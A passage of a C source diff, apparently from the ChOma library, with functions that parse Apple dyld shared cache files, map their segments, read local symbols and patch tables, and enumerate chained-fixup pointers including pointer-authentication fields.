len, *outString); +} + +uint64_t dsc_fileoff_to_vmaddr(DyldSharedCache *sharedCache, DyldSharedCacheFile *file, uint64_t fileoff) +{ + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + if (mapping->file == file) { + if (fileoff >= mapping->fileoff && fileoff < (mapping->fileoff + mapping->size)) { + return mapping->vmaddr + (fileoff - mapping->fileoff); + } + } + } + return 0; +} + +uint64_t dsc_vmaddr_to_fileoff(DyldSharedCache *sharedCache, uint64_t vmaddr, DyldSharedCacheFile **fileOut) +{ + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, vmaddr, 0); + if (mapping) { + if (fileOut) *fileOut = mapping->file; + return (vmaddr - mapping->vmaddr) + mapping->fileoff; + } + return 0; +} + +DyldSharedCacheFile *_dsc_load_file(const char *dscPath, const char suffix[32]) +{ + int fd = -1; + DyldSharedCacheFile *file = NULL; + + char filepath[strlen(dscPath) + strnlen(suffix, 32) + 1]; + strcpy(filepath, dscPath); + strncat(filepath, suffix, 32); + + fd = open(filepath, O_RDONLY); + if (fd < 0) goto fail; + + struct stat sb; + if (fstat(fd, &sb) != 0) goto fail; + + if (sb.st_size < sizeof(struct dyld_cache_header)) goto fail; + + file = malloc(sizeof(DyldSharedCacheFile)); + if (!file) goto fail; + + lseek(fd, 0, SEEK_SET); + read(fd, &file->header, sizeof(file->header)); + + if (strncmp(file->header.magic, "dyld_v", 6) != 0) goto fail; + + // A lot of version detection works through the mappingOffset attribute + // This attribute typically points to the end of the header, since the mappings directly follow the header + // To make certain version detection easier, we zero out any fields after it, since these are unused on the version the DSC is from + // This reduces the amount of version (mappingOffset) checks neccessary, but does not fully eliminate them + if (file->header.mappingOffset < sizeof(file->header)) { + memset((void *)((uintptr_t)&file->header + file->header.mappingOffset), 0, sizeof(file->header) - file->header.mappingOffset); + } + else if (file->header.mappingOffset > sizeof(file->header)) { + static bool versionWarningPrinted = false; + if (!versionWarningPrinted) { + fprintf(stderr, "Warning: DSC version is newer than what ChOma supports, your mileage may vary.\n"); + versionWarningPrinted = true; + } + } + + file->fd = fd; + file->filepath = strdup(filepath); + file->filesize = sb.st_size; + return file; + +fail: + if (file) free(file); + if (fd >= 0) close(fd); + return NULL; +} + +int dsc_file_read_at_offset(DyldSharedCacheFile *dscFile, uint64_t offset, size_t size, void *outBuf) +{ + lseek(dscFile->fd, offset, SEEK_SET); + return !(read(dscFile->fd, outBuf, size) == size); +} + +int dsc_file_read_string_at_offset(DyldSharedCacheFile *dscFile, uint64_t offset, char **outBuf) +{ + lseek(dscFile->fd, offset, SEEK_SET); + return read_string(dscFile->fd, outBuf); +} + +DyldSharedCache *dsc_init_from_path_premapped(const char *path, uint32_t premapSlide) +{ + if (!path) return NULL; + + DyldSharedCache *sharedCache = malloc(sizeof(DyldSharedCache)); + sharedCache->mappings = NULL; + sharedCache->mappingCount = 0; + sharedCache->symbolFile.index = 0; + sharedCache->premapSlide = premapSlide; + + // Load main DSC file + DyldSharedCacheFile *mainFile = _dsc_load_file(path, ""); + if (!mainFile) { + fprintf(stderr, "Error: Failed to load main cache file\n"); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *mainHeader = &mainFile->header; + if (!strncmp(mainHeader->magic, "dyld_v1 armv7", 14)) { + sharedCache->cputype = CPU_TYPE_ARM; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM_V7; + } + else if (!strncmp(mainHeader->magic, "dyld_v1 arm64", 14)) { + sharedCache->cputype = CPU_TYPE_ARM64; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM64_ALL; + } + else if (!strncmp(mainHeader->magic, "dyld_v1 arm64e", 15)) { + sharedCache->cputype = CPU_TYPE_ARM64; + sharedCache->cpusubtype = CPU_SUBTYPE_ARM64E; + } + else { + // Only arm supported for now + printf("Error: DSC has unsupported architecture\n"); + return NULL; + } + + bool symbolFileExists = !!memcmp(mainHeader->symbolFileUUID, UUID_NULL, sizeof(UUID_NULL)); + uint32_t subCacheArrayCount = mainHeader->subCacheArrayCount; + + sharedCache->fileCount = 1 + subCacheArrayCount + symbolFileExists; + + sharedCache->files = malloc(sizeof(struct DyldSharedCacheFile *) * sharedCache->fileCount); + sharedCache->files[0] = mainFile; + + if (subCacheArrayCount > 0) { + // If there are sub caches, load them aswell + int subCacheStructVersion = mainHeader->mappingOffset <= offsetof(struct dyld_cache_header, cacheSubType) ? 1 : 2; + + for (uint32_t i = 0; i < subCacheArrayCount; i++) { + DyldSharedCacheFile **file = &sharedCache->files[1+i]; + struct dyld_subcache_entry subcacheEntry; + + if (subCacheStructVersion == 1) { + struct dyld_subcache_entry_v1 v1Entry; + dsc_file_read_at_offset(mainFile, mainHeader->subCacheArrayOffset + sizeof(v1Entry) * i, sizeof(v1Entry), &v1Entry); + + // Old format (iOS <=15) had no suffix string, here the suffix is derived from the index + memcpy(subcacheEntry.uuid, v1Entry.uuid, sizeof(uuid_t)); + subcacheEntry.cacheVMOffset = v1Entry.cacheVMOffset; + snprintf(subcacheEntry.fileSuffix, sizeof(subcacheEntry.fileSuffix), ".%u", i+1); + } + else { + dsc_file_read_at_offset(mainFile, mainHeader->subCacheArrayOffset + sizeof(subcacheEntry) * i, sizeof(subcacheEntry), &subcacheEntry); + } + + *file = _dsc_load_file(path, subcacheEntry.fileSuffix); + if (!*file) { + fprintf(stderr, "Error: Failed to map subcache with suffix %s\n", subcacheEntry.fileSuffix); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *header = &(*file)->header; + if (memcmp(header->uuid, subcacheEntry.uuid, sizeof(header->uuid)) != 0) { + fprintf(stderr, "Error: UUID mismatch on subcache with suffix %s\n", subcacheEntry.fileSuffix); + dsc_free(sharedCache); + return NULL; + } + } + } + + if (symbolFileExists) { + // If there is a .symbols file, load that aswell and use it for getting symbols + sharedCache->symbolFile.index = sharedCache->fileCount - 1; + + sharedCache->files[sharedCache->symbolFile.index] = _dsc_load_file(path, ".symbols"); + if (!sharedCache->files[sharedCache->symbolFile.index]) { + fprintf(stderr, "Error: Failed to map symbols subcache\n"); + dsc_free(sharedCache); + return NULL; + } + + struct dyld_cache_header *header = &sharedCache->files[sharedCache->symbolFile.index]->header; + if (memcmp(header->uuid, mainHeader->symbolFileUUID, sizeof(header->uuid)) != 0) { + fprintf(stderr, "Error: UUID mismatch on symbols subcache\n"); + dsc_free(sharedCache); + return NULL; + } + } + + sharedCache->baseAddress = mainHeader->sharedRegionStart ?: UINT64_MAX; + + for (unsigned i = 0; i < sharedCache->fileCount; i++) { + DyldSharedCacheFile *file = sharedCache->files[i]; + if (!file) continue; + + if (i != 0 && i == sharedCache->symbolFile.index) { + // If there is a separate .symbols file (and we don't use the main shared cache for symbols) + // then skip any mappings inside it, since this usually only contains a bogus mapping + continue; + } + + struct dyld_cache_header *header = &file->header; + + //printf("Parsing DSC %s\n", file->filepath); + + if (file->filesize < (header->mappingOffset + header->mappingCount * sizeof(struct dyld_cache_mapping_info))) { + fprintf(stderr, "Warning: Failed to parse DSC %s.\n", file->filepath); + } + + bool slideInfoExists = (bool)header->mappingWithSlideOffset; + uint64_t mappingOffset = (slideInfoExists ? header->mappingWithSlideOffset : header->mappingOffset); + + unsigned prevMappingCount = sharedCache->mappingCount; + sharedCache->mappingCount += header->mappingCount; + sharedCache->mappings = realloc(sharedCache->mappings, sharedCache->mappingCount * sizeof(DyldSharedCacheMapping)); + + for (int k = 0; k < header->mappingCount; k++) { + DyldSharedCacheMapping *thisMapping = &sharedCache->mappings[prevMappingCount + k]; + + struct dyld_cache_mapping_and_slide_info fullInfo = {}; + if (slideInfoExists) { + dsc_file_read_at_offset(file, mappingOffset + (k * sizeof(fullInfo)), sizeof(fullInfo), &fullInfo); + } + else { + struct dyld_cache_mapping_info mappingInfo; + dsc_file_read_at_offset(file, mappingOffset + k * sizeof(mappingInfo), sizeof(mappingInfo), &mappingInfo); + + fullInfo.address = mappingInfo.address; + fullInfo.size = mappingInfo.size; + fullInfo.fileOffset = mappingInfo.fileOffset; + fullInfo.maxProt = mappingInfo.maxProt; + fullInfo.initProt = mappingInfo.initProt; + fullInfo.slideInfoFileOffset = 0; + fullInfo.slideInfoFileSize = 0; + } + + thisMapping->file = file; + thisMapping->size = fullInfo.size; + thisMapping->fileoff = fullInfo.fileOffset; + thisMapping->vmaddr = fullInfo.address; + thisMapping->flags = fullInfo.flags; + if (sharedCache->premapSlide) { + thisMapping->ptr = (void *)(thisMapping->vmaddr + sharedCache->premapSlide); + } + else { + thisMapping->ptr = mmap(NULL, thisMapping->size, PROT_READ, MAP_FILE | MAP_SHARED, file->fd, thisMapping->fileoff); + } + + // Find base address on shared caches that don't have sharedRegionStart + if (!mainHeader->sharedRegionStart) { + if (thisMapping->vmaddr < sharedCache->baseAddress) { + sharedCache->baseAddress = thisMapping->vmaddr; + } + } + + thisMapping->initProt = fullInfo.initProt; + thisMapping->maxProt = fullInfo.maxProt; + + if (fullInfo.slideInfoFileOffset) { + thisMapping->slideInfoSize = fullInfo.slideInfoFileSize; + thisMapping->slideInfoPtr = malloc(thisMapping->slideInfoSize); + dsc_file_read_at_offset(file, fullInfo.slideInfoFileOffset, thisMapping->slideInfoSize, thisMapping->slideInfoPtr); + } + else { + thisMapping->slideInfoPtr = NULL; + thisMapping->slideInfoSize = 0; + } + } + } + + if (mainHeader->imagesTextCount) { + struct dyld_cache_image_text_info imageTexts[mainHeader->imagesTextCount]; + dsc_file_read_at_offset(mainFile, mainHeader->imagesTextOffset, sizeof(imageTexts), imageTexts); + + sharedCache->containedImageCount = mainHeader->imagesTextCount; + sharedCache->containedImages = malloc(mainHeader->imagesTextCount * sizeof(DyldSharedCacheImage)); + for (uint64_t i = 0; i < mainHeader->imagesTextCount; i++) { + struct dyld_cache_image_text_info *imageTextInfo = &imageTexts[i]; + DyldSharedCacheImage *image = &sharedCache->containedImages[i]; + + image->address = imageTextInfo->loadAddress; + image->size = imageTextInfo->textSegmentSize; + + void *buffer = dsc_find_buffer(sharedCache, image->address, image->size); + if (!buffer) { + continue; + } + + image->index = i; + + memcpy(&image->uuid, &imageTextInfo->uuid, sizeof(uuid_t)); + + dsc_file_read_string_at_offset(mainFile, imageTextInfo->pathOffset, &image->path); + + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(buffer, image->size, 0); + image->fat = fat_dsc_init_from_memory_stream(stream, sharedCache, image); + } + } + else { + uint64_t imagesOffset = mainHeader->imagesOffsetOld ?: mainHeader->imagesOffset; + uint64_t imagesCount = mainHeader->imagesCountOld ?: mainHeader->imagesCount; + + struct dyld_cache_image_info imageInfos[imagesCount]; + dsc_file_read_at_offset(mainFile, imagesOffset, sizeof(imageInfos), imageInfos); + + sharedCache->containedImageCount = imagesCount; + sharedCache->containedImages = malloc(imagesCount * sizeof(DyldSharedCacheImage)); + for (uint64_t i = 0; i < imagesCount; i++) { + DyldSharedCacheImage *image = &sharedCache->containedImages[i]; + + // There is no size in this format, so we need to calculate it + // Either based on the image after it or based on the end of the mapping + DyldSharedCacheMapping *mappingForThisImage = dsc_lookup_mapping(sharedCache, imageInfos[i].address, 0); + if (!mappingForThisImage) { + continue; + } + + uint64_t mappingEndAddr = mappingForThisImage->vmaddr + mappingForThisImage->size; + + // Some images have the same address and also the list is not sorted + // So we need to traverse it to find the next image after this one + uint64_t endAddr = UINT64_MAX; + for (int k = 0; k < imagesCount; k++) { + if (imageInfos[k].address > imageInfos[i].address) { + if (endAddr > imageInfos[k].address) { + endAddr = imageInfos[k].address; + break; + } + } + } + + // If there was no image after it or the image after it is in a different mapping + // Use the end of the mapping as the end address + if (endAddr > mappingEndAddr) { + endAddr = mappingEndAddr; + } + + image->address = imageInfos[i].address; + image->size = endAddr - imageInfos[i].address; + + void *buffer = dsc_find_buffer(sharedCache, image->address, image->size); + if (!buffer) { + continue; + } + + image->index = i; + + dsc_file_read_string_at_offset(mainFile, imageInfos[i].pathFileOffset, &image->path); + + MemoryStream *stream = buffered_stream_init_from_buffer_nocopy(buffer, image->size, 0); + image->fat = fat_dsc_init_from_memory_stream(stream, sharedCache, &sharedCache->containedImages[i]); + } + } + + return sharedCache; +} + +int _dsc_load_symbols(DyldSharedCache *sharedCache) +{ + if (!sharedCache->symbolFile.loaded) { + if (sharedCache->symbolFile.index != -1) { + DyldSharedCacheFile *symbolCacheFile = sharedCache->files[sharedCache->symbolFile.index]; + struct dyld_cache_header *symbolCacheHeader = &symbolCacheFile->header; + if (symbolCacheHeader->localSymbolsOffset) { + struct dyld_cache_local_symbols_info symbolsInfo; + dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset, sizeof(symbolsInfo), &symbolsInfo); + + for (uint64_t i = 0; i < symbolsInfo.entriesCount; i++) { + uint64_t dylibOffset = 0; + uint32_t nlistStartIndex = 0; + uint32_t nlistCount = 0; + int r = 0; + + #define _GENERIC_READ_SYMBOL_ENTRY(entryType) do { \ + struct entryType symbolEntry; \ + if ((r = dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset + symbolsInfo.entriesOffset + i * sizeof(symbolEntry), sizeof(symbolEntry), &symbolEntry)) != 0) break; \ + dylibOffset = symbolEntry.dylibOffset; \ + nlistStartIndex = symbolEntry.nlistStartIndex; \ + nlistCount = symbolEntry.nlistCount; \ + } while (0) + + if (symbolCacheHeader->mappingOffset >= offsetof(struct dyld_cache_header, symbolFileUUID)) { + _GENERIC_READ_SYMBOL_ENTRY(dyld_cache_local_symbols_entry_64); + } + else { + _GENERIC_READ_SYMBOL_ENTRY(dyld_cache_local_symbols_entry); + } + + if (r != 0) continue; + + #undef _GENERIC_READ_SYMBOL_ENTRY + + DyldSharedCacheImage *image = dsc_lookup_image_by_address(sharedCache, sharedCache->baseAddress + dylibOffset); + if (image) { + image->nlistCount = nlistCount; + image->nlistStartIndex = nlistStartIndex; + } + } + + sharedCache->symbolFile.nlistCount = symbolsInfo.nlistCount; + uint64_t nlistSize = (dsc_is32bit(sharedCache) ? sizeof(struct nlist) : sizeof(struct nlist_64)) * sharedCache->symbolFile.nlistCount; + sharedCache->symbolFile.nlist = malloc(nlistSize); + dsc_file_read_at_offset(symbolCacheFile, symbolCacheHeader->localSymbolsOffset + symbolsInfo.nlistOffset, nlistSize, sharedCache->symbolFile.nlist); + + uint64_t stringsOffsetPage = (symbolCacheHeader->localSymbolsOffset + symbolsInfo.stringsOffset) & ~PAGE_MASK; + uint64_t stringsOffsetPageOff = (symbolCacheHeader->localSymbolsOffset + symbolsInfo.stringsOffset) & PAGE_MASK; + + sharedCache->symbolFile.stringsSize = symbolsInfo.stringsSize; + + char *mappedStrings = mmap(NULL, sharedCache->symbolFile.stringsSize + stringsOffsetPageOff, PROT_READ, MAP_FILE | MAP_PRIVATE, symbolCacheFile->fd, stringsOffsetPage); + if (mappedStrings != MAP_FAILED) { + sharedCache->symbolFile.strings = mappedStrings + stringsOffsetPageOff; + } + else { + perror("mmap"); + } + } + } + + sharedCache->symbolFile.loaded = true; + } + + return sharedCache->symbolFile.nlist ? 0 : -1; +} + +DyldSharedCache *dsc_init_from_path(const char *path) +{ + return dsc_init_from_path_premapped(path, 0); +} + +bool dsc_is32bit(DyldSharedCache *sharedCache) +{ + if (sharedCache->cputype == CPU_TYPE_ARM) { + return true; + } + else { + return false; + } +} + +void dsc_enumerate_files(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *filepath, size_t filesize, struct dyld_cache_header *header)) +{ + for (int i = 0; i < sharedCache->fileCount; i++) { + enumeratorBlock(sharedCache->files[i]->filepath, sharedCache->files[i]->filesize, &sharedCache->files[i]->header); + } +} + +void dsc_enumerate_images(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *path, DyldSharedCacheImage *imageHandle, MachO *imageMachO, bool *stop)) +{ + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + bool stop = false; + DyldSharedCacheImage *imageHandle = &sharedCache->containedImages[i]; + MachO *macho = fat_get_single_slice(imageHandle->fat); + if (imageHandle && macho) { + enumeratorBlock(sharedCache->containedImages[i].path, imageHandle, macho, &stop); + } + if (stop) break; + } +} + +DyldSharedCacheImage *dsc_find_image_for_section_address(DyldSharedCache *sharedCache, uint64_t address) +{ + __block DyldSharedCacheImage *image = NULL; + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (sharedCache->containedImages[i].fat->slicesCount == 1) { + MachO *macho = sharedCache->containedImages[i].fat->slices[0]; + if (macho) { + macho_enumerate_sections(macho, ^(struct section_64 *section, struct segment_command_64 *segment, bool *stop) { + if (address >= section->addr && address < (section->addr + section->size)) { + image = &sharedCache->containedImages[i]; + } + }); + } + } + } + return image; +} + +MachO *dsc_image_get_macho(DyldSharedCacheImage *image) +{ + return fat_get_single_slice(image->fat); +} + +DyldSharedCacheImage *dsc_lookup_image_by_address(DyldSharedCache *sharedCache, uint64_t address) +{ + __block DyldSharedCacheImage *image = NULL; + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + MachO *macho = dsc_image_get_macho(&sharedCache->containedImages[i]); + struct segment_command_64 segment; + if (macho_lookup_segment_by_addr(macho, address, &segment) == 0) { + image = &sharedCache->containedImages[i]; + } + if (image) break; + } + return image; +} + +MachO *dsc_lookup_macho_by_address(DyldSharedCache *sharedCache, uint64_t address, DyldSharedCacheImage **imageHandleOut) +{ + DyldSharedCacheImage *image = dsc_lookup_image_by_address(sharedCache, address); + if (image) { + if (imageHandleOut) *imageHandleOut = image; + return dsc_image_get_macho(image); + } + return NULL; +} + +DyldSharedCacheImage *dsc_lookup_image_by_path(DyldSharedCache *sharedCache, const char *path) +{ + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (!strcmp(sharedCache->containedImages[i].path, path)) { + return &sharedCache->containedImages[i]; + } + } + return NULL; +} + +MachO *dsc_lookup_macho_by_path(DyldSharedCache *sharedCache, const char *path, DyldSharedCacheImage **imageHandleOut) +{ + DyldSharedCacheImage *image = dsc_lookup_image_by_path(sharedCache, path); + if (image) { + if (imageHandleOut) *imageHandleOut = image; + return dsc_image_get_macho(image); + } + return NULL; +} + +int dsc_image_enumerate_symbols(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)) +{ + if (_dsc_load_symbols(sharedCache) != 0) return -1; + + struct dyld_cache_header *symbolCacheHeader = &sharedCache->files[sharedCache->symbolFile.index]->header; + if (!symbolCacheHeader->localSymbolsOffset) return -1; + + char *stringTable = sharedCache->symbolFile.strings; + + uint32_t firstSymIdx = image->nlistStartIndex; + uint32_t lastSymIdx = image->nlistStartIndex + image->nlistCount - 1; + if (lastSymIdx > sharedCache->symbolFile.nlistCount) return -1; + + for (uint32_t symIdx = firstSymIdx; symIdx <= lastSymIdx; symIdx++) { + uint64_t n_strx = 0; + uint64_t n_value = 0; + uint8_t n_type = 0; + + #define _GENERIC_READ_NLIST(nlistType) do { \ + struct nlistType *entry = &((struct nlistType *)sharedCache->symbolFile.nlist)[symIdx]; \ + n_strx = entry->n_un.n_strx; \ + n_value = entry->n_value; \ + n_type = entry->n_type; \ + } while (0) + + if (dsc_is32bit(sharedCache)) { + _GENERIC_READ_NLIST(nlist); + } + else { + _GENERIC_READ_NLIST(nlist_64); + } + + #undef _GENERIC_READ_NLIST + + if (n_strx > sharedCache->symbolFile.stringsSize) return -1; + + bool stop = false; + enumeratorBlock(&stringTable[n_strx], n_type, n_value, &stop); + if (stop) break; + } + + return 0; +} + +int dsc_image_enumerate_patches(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(unsigned v, void *patchable_location, bool *stop)) +{ + struct dyld_cache_header *mainHeader = &sharedCache->files[0]->header; + + struct dyld_cache_patch_info_v3 *patchInfo = dsc_find_buffer(sharedCache, mainHeader->patchInfoAddr, mainHeader->patchInfoSize); + + if (patchInfo->infoV2.patchTableVersion == 4) { + struct dyld_cache_image_got_clients_v3 *gotClients = (void *)((uintptr_t)patchInfo + (patchInfo->gotClientsArrayAddr - mainHeader->patchInfoAddr)); + struct dyld_cache_patchable_export_v3 *clientExports = (void *)((uintptr_t)patchInfo + (patchInfo->gotClientExportsArrayAddr - mainHeader->patchInfoAddr)); + struct dyld_cache_patchable_location_v4 *locationArray = (void *)((uintptr_t)patchInfo + (patchInfo->gotLocationArrayAddr - mainHeader->patchInfoAddr)); + + uint32_t patchExportsStartIndex = gotClients[image->index].patchExportsStartIndex; + uint32_t patchExportsEndIndex = patchExportsStartIndex + gotClients[image->index].patchExportsCount; + for (uint32_t i = patchExportsStartIndex; i < patchExportsEndIndex; i++) { + uint32_t patchLocationsStartIndex = clientExports[i].patchLocationsStartIndex; + uint32_t patchLocationsEndIndex = patchLocationsStartIndex + clientExports[i].patchLocationsCount; + for (uint32_t k = clientExports[i].patchLocationsStartIndex; k < patchLocationsEndIndex; k++) { + bool stop = false; + enumeratorBlock(4, &locationArray[k], &stop); + if (stop) return 0; + } + } + } + + return 0; +} + +int dsc_mapping_enumerate_chained_fixups_on_range(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping, uint64_t rangeStart, uint64_t rangeEnd, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + if (!mapping->slideInfoPtr) return -1; + if (sharedCache->premapSlide != 0) return -1; // XXX: Not supported on premapped dscs + + uint32_t version = *(uint32_t *)mapping->slideInfoPtr; + switch (version) { + case 5: { + struct dyld_cache_slide_info5 *info = mapping->slideInfoPtr; + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint32_t delta = info->page_starts[pageIdx]; + union dyld_cache_slide_pointer5* loc = (mapping->ptr + (pageAddr - mapping->vmaddr)); + if (delta != DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE) { + delta /= 8; // The first delta is a direct offset, all further ones are (offset / 8) + do { + loc += delta; + delta = loc->auth.next; + + uint64_t value = loc->regular.runtimeOffset + info->value_add; + if (!loc->auth.auth) { + value |= ((uint64_t)loc->regular.high8 << 56); + } + + DyldSharedCachePointer pointer = (DyldSharedCachePointer){ + .location = ((uint64_t)loc - (uint64_t)mapping->ptr) + mapping->vmaddr, + .target = value, + + .authenticated = loc->auth.auth, + .key = loc->auth.keyIsData ? PAC_KEY_DA : PAC_KEY_IA, + .diversifier = loc->auth.diversity, + .hasAddressDiversity = loc->auth.addrDiv, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } while (delta != 0); + } + } + break; + } + // XXX: What actually uses version 4??? + case 3: { + struct dyld_cache_slide_info3 *info = mapping->slideInfoPtr; + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint32_t delta = info->page_starts[pageIdx]; + union dyld_cache_slide_pointer3* loc = (mapping->ptr + (pageAddr - mapping->vmaddr)); + if (delta != DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE) { + delta /= 8; // The first delta is a direct offset, all further ones are (offset / 8) + do { + loc += delta; + delta = loc->auth.offsetToNextPointer; + + uint64_t value = 0; + if (loc->auth.authenticated) { + value = loc->auth.offsetFromSharedCacheBase + info->auth_value_add; + } + else { + uint64_t value51 = loc->plain.pointerValue; + uint64_t top8Bits = value51 & 0x0007F80000000000ULL; + uint64_t bottom43Bits = value51 & 0x000007FFFFFFFFFFULL; + value = (top8Bits << 13) | bottom43Bits; + } + + DyldSharedCachePointer pointer = (DyldSharedCachePointer){ + .location = ((uint64_t)loc - (uint64_t)mapping->ptr) + mapping->vmaddr, + .target = value, + + .authenticated = loc->auth.authenticated, + .key = loc->auth.key, + .diversifier = loc->auth.diversityData, + .hasAddressDiversity = loc->auth.hasAddressDiversity, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } while (delta != 0); + } + } + break; + } + case 2: { + struct dyld_cache_slide_info2 *info = mapping->slideInfoPtr; + + uint16_t *pageStarts = (uint16_t *)((uintptr_t)info + info->page_starts_offset); + uint16_t *pageExtras = (uint16_t *)((uintptr_t)info + info->page_extras_offset); + uint64_t deltaMask = info->delta_mask; + uint64_t valueMask = ~deltaMask; + uint64_t deltaShift = __builtin_ctzll(deltaMask) - 2; + + uint64_t startAddr = mapping->vmaddr; + uint64_t endAddr = startAddr + (info->page_starts_count * info->page_size); + + uint64_t pageMask = info->page_size - 1; + bool hasRange = false; + + if (rangeStart != 0 && rangeEnd != 0) { + if (rangeStart < startAddr || rangeStart >= endAddr) return -1; + startAddr = rangeStart & ~pageMask; + if (rangeEnd <= startAddr || rangeEnd > endAddr) return -1; + endAddr = (rangeEnd + pageMask) & ~pageMask; + hasRange = true; + } + + for (uint64_t pageAddr = startAddr; pageAddr < endAddr; pageAddr += info->page_size) { + uint64_t pageIdx = (pageAddr - mapping->vmaddr) / info->page_size; + uint16_t pageEntry = pageStarts[pageIdx]; + if (pageEntry == DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE) continue; + + int (^processChain)(uint32_t pageOffset) = ^(uint32_t pageOffset) { + uint32_t delta = 1; + while (delta != 0) { + uint64_t locAddr = pageAddr + pageOffset; + uint64_t rawValue = 0; + dsc_read_from_vmaddr(sharedCache, locAddr, dsc_is32bit(sharedCache) ? sizeof(uint32_t) : sizeof(uint64_t), &rawValue); + delta = (uint32_t)((rawValue & deltaMask) >> deltaShift); + uint64_t target = (rawValue & valueMask); + if (target != 0) { + target += info->value_add; + } + pageOffset += delta; + + DyldSharedCachePointer pointer = (DyldSharedCachePointer){ + .location = locAddr, + .target = target, + + .authenticated = false, + .key = 0, + .diversifier = 0, + .hasAddressDiversity = false, + }; + + if (hasRange) { + if (pointer.location < rangeStart) continue; + if (pointer.location >= rangeEnd) break; + } + + bool stop = false; + enumeratorBlock(&pointer, &stop); + if (stop) return 0; + } + return 1; + }; + + if (pageEntry == DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) { + uint16_t chainIdx = (pageEntry & 0x3fff); + bool done = false; + while (!done) { + uint16_t pInfo = pageExtras[chainIdx]; + uint32_t pageStartOffset = (pInfo & 0x3fff) * 4; + int r = processChain(pageStartOffset); + if (r == 0) return 0; + done = (pInfo & DYLD_CACHE_SLIDE_PAGE_ATTR_END); + chainIdx++; + } + } + else { + uint32_t pageStartOffset = pageEntry * 4; + int r = processChain(pageStartOffset); + if (r == 0) return 0; + } + } + break; + } + default: { + static bool didShowUnsupportedWarning = false; + if (!didShowUnsupportedWarning) { + fprintf(stderr, "Warning: Unsupported chained fixup version (%u)\n", version); + didShowUnsupportedWarning = true; + } + } + break; + } + + return 0; +} + +int dsc_mapping_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + return dsc_mapping_enumerate_chained_fixups_on_range(sharedCache, mapping, 0, 0, enumeratorBlock); +} + +int dsc_enumerate_chained_fixups(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + for (uint64_t i = 0; i < sharedCache->mappingCount; i++) { + __block bool stopAll = false; + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + dsc_mapping_enumerate_chained_fixups(sharedCache, mapping, ^(DyldSharedCachePointer *pointer, bool *stop) { + enumeratorBlock(pointer, &stopAll); + *stop = stopAll; + }); + if (stopAll) break; + } + return 0; +} + +int dsc_image_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)) +{ + /* + Please note that in iOS 18 and macOS Sonoma, GOTs were unified and they are no longer associated to the image machos + This means multiple images use the same GOTs, which intern means this function will not enumerate over them + This might be fixable by parsing the __auth_stub functions, but that is non trivial + */ + MachO *macho = fat_get_single_slice(image->fat); + if (macho) { + __block bool stopAll = false; + macho_enumerate_segments(macho, ^(struct segment_command_64 *segment, bool *stop) { + //printf("%.*s %#llx %#llx\n", (int)sizeof(segment->segname), segment->segname, segment->vmaddr, segment->vmsize); + if (!strncmp(segment->segname, "__DATA", 6)) /*__DATA, __DATA_DIRTY, __DATA_CONST */ { + DyldSharedCacheMapping* mapping = dsc_lookup_mapping(sharedCache, segment->vmaddr, segment->vmsize); + if (mapping) { + dsc_mapping_enumerate_chained_fixups_on_range(sharedCache, mapping, segment->vmaddr, segment->vmaddr + segment->vmsize, 